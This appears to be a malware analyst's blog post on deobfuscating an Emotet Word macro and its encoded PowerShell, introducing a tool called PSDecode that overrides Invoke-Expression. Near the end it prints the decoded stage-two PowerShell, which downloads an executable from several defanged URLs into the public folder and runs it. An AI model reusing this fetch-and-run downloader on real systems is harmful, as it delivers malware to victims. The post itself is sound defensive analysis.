From Emotet, PSDecode is born!

It’s been way too long since my last post. DEFCON happened, then I got a new job, thanksgiving getaway to San Francisco, got sick (dirty airport people), excuse++. Things are starting to settle down a bit, so hopefully I’ll have more time to post.

Anywho… I’ve been seeing a ton of Emotet recently. It’s borderline annoying. Feels like we’re just shoveling sh*t against the tide. But, as a result of this repetitive analysis, efficiencies are born.

While the purpose of this post is to introduce a new tool that will help you analyze heavily obfuscated PowerShell scripts, it is primarily going to dig into analyzing the first stage of Emotet to show you the methods I use to extract its encoded PowerShell before running it through my decoder.

Sample Info

The sample that I am going to analyze was stolen from Brad over at Malware Traffic Analysis who analyzed this sample in a SANS ISC Diary post.

Filename: 2017-11-29-Emotet-malspam-1st-run-Invoice _565700179.doc
Type: Microsoft Word 97 – 2003 Document (.doc)
MD5: a829a9d423a078d034379c8c454c701d
SHA1: 40c65a45e6bb3fd4ce756ad8fbea1b5e9139e0a7
SHA256: 7bdf7722115be910e2b301b3f6b3037bc4b987c588838cd2459aeeeec9f50be7

VirusTotal (36 / 61)

Extracting Embedded Macros

Typically, the first step of an Emotet infection is the attacker socially engineering their target by sending them an email with a link that leads to a malicious document. Upon opening the document, macros embedded within the document execute and trigger the download and execution of the Emotet binary. So, once we have obtained a copy of this malicious document, the first step of our analysis will be to extract the macros.

There are multiple tools that can accomplish this. But, rather than having to go through the pain of switching between linux and windows environments, I typically just use OfficeMalScanner.

Figure 1: OfficeMalScanner extracting embedded macros from Word document
Figure 1: OfficeMalScanner extracting embedded VB macros from Word document

Figure 1 shows the output of running the malicious document through OfficeMalScanner with the “info” argument, like so:

OfficeMalScanner 2017-11-29-Emotet-malspam-1st-run-Invoice _565700179.doc info

OfficeMalScanner found the following four VBA macros embedded within the Word document:


And automatically extracted them to a folder within the current directory (Figure 2):

C:\Users\REM\Desktop\2017-11-29-Emotet-malware\2017-11-29-EMOTET-MALSPAM-1ST-RUN-INVOICE _565700179.DOC-Macros\

Figure 2: Folder created by OfficeMalScanner containing extracted macros

Find the Decoder Function

First thing you need to look for is which of these macros contains an AutoOpen() function. You’ll want to start with the macro named ThisDocument.

Figure 3: AutoOpen function found within ThisDocument macro file

Figure 3 shows the AutoOpen function that is found at the bottom of the ThisDocument macro. Most of the code found within this function is garbage with the exception of one line (#99 in Figure 3):

VBA.Shell$ jiwmsks, 0

When the document is opened, it will automatically execute whatever code is found within this AutoOpen function and the line above, specifically, will use VBA’s Shell function to execute whatever is stored within the variable “jiwmsks” within a hidden window (0).

In the case of Emotet, the variable being passed to VBA.Shell (“jiwmsks” in this case) is the name of a decoding function. So, next step: find this function.

Figure 4: Start of decoder function “jiwmsks” within “STGtjvOqUEB” macro file

The “jiwmsks” function is found within the “STGtjvOqUEB” macro file (Figure 4). At first blush, this function can be a little overwhelming as it is 80 lines of heavily obfuscated VBA code.

Create New Decoder VBScript

This is where we work smarter, not harder. Since”jiwmsks” is a decoder function, we don’t necessarily care about exactly what this function is doing. We only want to capture the end result; the output of the function.

To do this, we’re going to need create a new script, using this function, that we can safely execute and save the output.

First, copy the entire decoder function, from Function jiwmsks() to End Function and everything in between (Lines 2 thru 90), into a new text document.

Second, rather than having VBA.Shell execute the decoded value, we’re going to want to simply print out this value. To do this, add the following line after the End Function statement:

wscript.echo jiwmsks

Third, code within embedded macros is written using Visual Basic for Applications (VBA) syntax. So, in order to execute this new script from the command-line, we’ll need to convert it to Visual Basic Script (VBS) syntax. In the case of Emotet, this is fairly simple as the only line we’ll need to modify is the one line where decoded value is placed into the functions return variable, which – in VBS/VBA – happens to be the same as the function name.

Figure 5: New VBScript – Before return value syntax modification

A nice feature of Notepad++ is that, when you highlight text, it highlights that text anywhere else it is found within the document. Highlighting in Figure 5 shows that the return variable sits at line #82.

jiwmsks = CDTYtchKqa + lwZdcXfstH + Chr(34) + IDzLI + JEWGvsJm + PkhfTi + HddjQFA + HdPMtRtTE + uSuUXDwulB + wLJAmiqSdz + NuGQUiY + GGVvLNj + imzlMFo + PFrdrk + pICcVDM + RzFJLoLwMGf + BQjiricj + rztNrEIuZ + WHUGoa + dhrHBmrp + HLifpvFSFR + SphtjZ + FJGTlwJHURm

For this line, and only this line, we will need to replace every instance of “+” with “&” (sans quotes) and remove Chr(34) from the string concatenation. In every Emotet sample I have looked at, “Chr(34)” has been present at this location in the return variable. The resulting line should look like this:

jiwmsks = CDTYtchKqa & lwZdcXfstH & IDzLI & JEWGvsJm & PkhfTi & HddjQFA & HdPMtRtTE & uSuUXDwulB & wLJAmiqSdz & NuGQUiY & GGVvLNj & imzlMFo & PFrdrk & pICcVDM & RzFJLoLwMGf & BQjiricj & rztNrEIuZ & WHUGoa & dhrHBmrp & HLifpvFSFR & SphtjZ & FJGTlwJHURm

The new script should now appear like so:

Figure 6: New VBScript – After return value syntax modification

Finally, we need to save this script with a .vbs extension (for example: emotet.vbs)

Extract Encoded PowerShell

Now that we have a new script that simply prints out the result of the decoding function, we need to execute it using cscript.exe (from the command line) and redirect the output (the decoded encoded PowerShell command) to a new file (decoded_encoded.ps1).

Figure 7: Execution of our new VBScript

Taking a peak within decoded_encoded.ps1 (Figure 8), it does appear to be heavily obfuscated PowerShell.

Figure 8: Encoded PowerShell extracted from the VB macro via our emotet.vbs

Decode Encoded PowerShell

That blob of PowerShell is just awful. It contains a plethora of string replacements and joins that are wrapped in multiple layers of Invoke-Expressions. Manually decoding it requires quite a bit of effort and time… and even then, producing a fully decoded PowerShell script that is functional and – more importantly – accurate is a serious challenge. So, how do we address this?

The answer: Method Overriding

This practice allows me to define my own logic for an existing parent function. Specifically, using Method  Overriding, I can change what the PowerShell command Invoke-Expression does. It’s probably best to show you rather than tell you:

Figure 9: Normal script calling Invoke-Expression (Left) vs Method Override script calling Invoke-Expression (Right)

In Figure 9, the PowerShell script on the left is simply calling the Invoke-Expression command with the string “Write-Host this is a test” as it’s argument. On the right, the PowerShell script has a new definition for Invoke-Expression prepended to the same Invoke-Expression call that we have on the left.

Figure 10: Output comparison between normal vs override scripts

Executing the normal Invoke-Expression script, the output is just “this is a test” (Figure 10). This is because the standard Invoke-Expression command took whatever was passed to it (the string “Write-Host ‘this is a test'”) and attempted to execute it because it assumes that the string you are passing it is a valid PowerShell command. In this example, Invoke-Expression then executes the PowerShell command Write-Host, which prints the string ‘this is a test’ to the screen.

However, when we execute the override Invoke-Expression script, the output is different: “Write-Host ‘this is a test'” (Figure Figure 10). This is because PowerShell decided to use my implementation of Invoke-Expression, which simply printed out the argument that was passed to it rather than trying to execute it.

If we think logically about the obfuscated code, we WANT all of the string replaces and joins to take place (aka, the decoding) but we DON’T WANT the resulting code to actually execute. Additionally, we want to capture what Invoke-Expression was going to run.

Introducing: PSDecode

So, I took the concept of Method Overriding and created a PowerShell module – PSDecode -that will do just that!

Figure 11: Output from running the encoded emotet PowerShell through PSDecode

Figure 11 shows the output of the PSDecode script that just processed the encoded PowerShell script that we just extracted from the VB Macro. We see that there are four layers. The first layer is the original encoded script that was passed to PSDecode. The last layer is the fully decoded PowerShell script that the malware author was attempting to execute:

############################## Layer 4 ##############################
$franc = new-object System.Net.WebClient;$nsadasd = new-object random;$bcd = 'hxxp://,hxxp://,hxxp://,hxxp://,hxxp://'.Split(',');$karapas = $, 343245);$huas = $env:public + '\' + $karapas + '.exe';foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message;}}

We can clean this up a bit further by manually adding newlines after each semicolon:

$franc = new-object System.Net.WebClient;
$nsadasd = new-object random;
$bcd = 'hxxp://,hxxp://,hxxp://,hxxp://,hxxp://'.Split(',');
$karapas = $, 343245);
$huas = $env:public + '\' + $karapas + '.exe';
foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);
}catch{write-host $_.Exception.Message;

Thanks to PSDecode, it is now exponentially faster to decode Emotet’s heavily obfuscated PowerShell script and identify its Stage 2 URLs (in Red).

While Emotet’s PowerShell was my use-case, there is no reason why this wouldn’t (or couldn’t) work for other encoded PowerShell as well. There is a ton of potential here and the current iteration of my module only scratches the surface as the only functions I currently account for are Invoke-Expression (including shortcuts IEX, &, and .), Invoke-Command, and Invoke-Item.

I have posted PSDecode to my GitHub page. If you have ideas on how to make this better or have an encoded PowerShell script that PSDecode chokes on, let me know so I can try to make it better. That being said, I do not consider myself a developer and have limited time to work on this stuff, so support for this tool might be lackluster.

Special thanks to Didier Stevens and Lenny Zeltser. Prior to taking my GREM, I knew a bit about method overriding but didn’t realize how that could be applied to analyzing malicious payloads. Lenny’s teachings during the GREM course involving Didiers’ SpiderMokey tool and the use of def.js to perform method overriding on obfuscated JavaScript was the genesis of PSDecode.

Important Note: Only run this script within an isolated sandbox. If the encoded PowerShell attempts to execute a function which I have not accounted for, IT WILL EXECUTE. For example, if Net.WebClient.DownloadFile() is called by the malicious script, it will actually attempt to download the file, which may or not be something that you want to happen.

Additional Resources

3 thoughts on “From Emotet, PSDecode is born!

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s